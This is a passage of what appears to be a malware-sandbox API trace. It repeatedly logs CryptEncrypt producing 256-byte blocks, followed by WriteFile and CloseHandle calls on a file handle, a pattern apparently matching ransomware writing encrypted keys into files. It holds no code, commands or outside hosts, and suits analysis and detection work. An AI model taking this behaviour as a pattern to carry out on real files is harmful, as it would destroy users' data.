hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.871] CloseHandle (hObject=0x2aec) returned 1 [0225.875] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.875] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.875] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.875] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.876] CloseHandle (hObject=0x2aec) returned 1 [0225.884] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.884] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.884] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.885] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.885] CloseHandle (hObject=0x2aec) returned 1 [0225.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.888] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.888] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.889] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.889] CloseHandle (hObject=0x2aec) returned 1 [0225.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.892] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.892] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.892] CloseHandle (hObject=0x2aec) returned 1 [0225.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.895] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.895] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.895] CloseHandle (hObject=0x2aec) returned 1 [0225.898] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.898] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.898] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.898] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.898] CloseHandle (hObject=0x2aec) returned 1 [0225.901] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.901] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.901] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.901] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.901] CloseHandle (hObject=0x2aec) returned 1 [0225.915] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.916] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.916] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.917] CloseHandle (hObject=0x2aec) returned 1 [0225.922] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.922] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.922] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.922] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.923] CloseHandle (hObject=0x2aec) returned 1 [0225.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.933] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.933] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.933] CloseHandle (hObject=0x2aec) returned 1 [0225.945] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.945] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.946] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.946] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.946] CloseHandle (hObject=0x2aec) returned 1 [0225.953] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.953] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.953] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.954] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.954] CloseHandle (hObject=0x2aec) returned 1 [0225.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.960] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.961] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.961] CloseHandle (hObject=0x2aec) returned 1 [0225.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.969] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.970] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.970] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.970] CloseHandle (hObject=0x2aec) returned 1 [0225.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.975] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.975] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.975] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.975] CloseHandle (hObject=0x2aec) returned 1 [0225.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.979] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.980] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.980] CloseHandle (hObject=0x2aec) returned 1 [0225.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0225.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0225.999] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0225.999] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0225.999] CloseHandle (hObject=0x2aec) returned 1 [0226.021] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.021] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.021] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.022] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.022] CloseHandle (hObject=0x2aec) returned 1 [0226.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.030] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.030] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.030] CloseHandle (hObject=0x2aec) returned 1 [0226.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.038] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.039] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.039] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.039] CloseHandle (hObject=0x2aec) returned 1 [0226.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.080] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.080] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.080] CloseHandle (hObject=0x2aec) returned 1 [0226.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.111] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.111] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.111] CloseHandle (hObject=0x2aec) returned 1 [0226.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.115] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.115] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.115] CloseHandle (hObject=0x2aec) returned 1 [0226.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.118] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.118] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 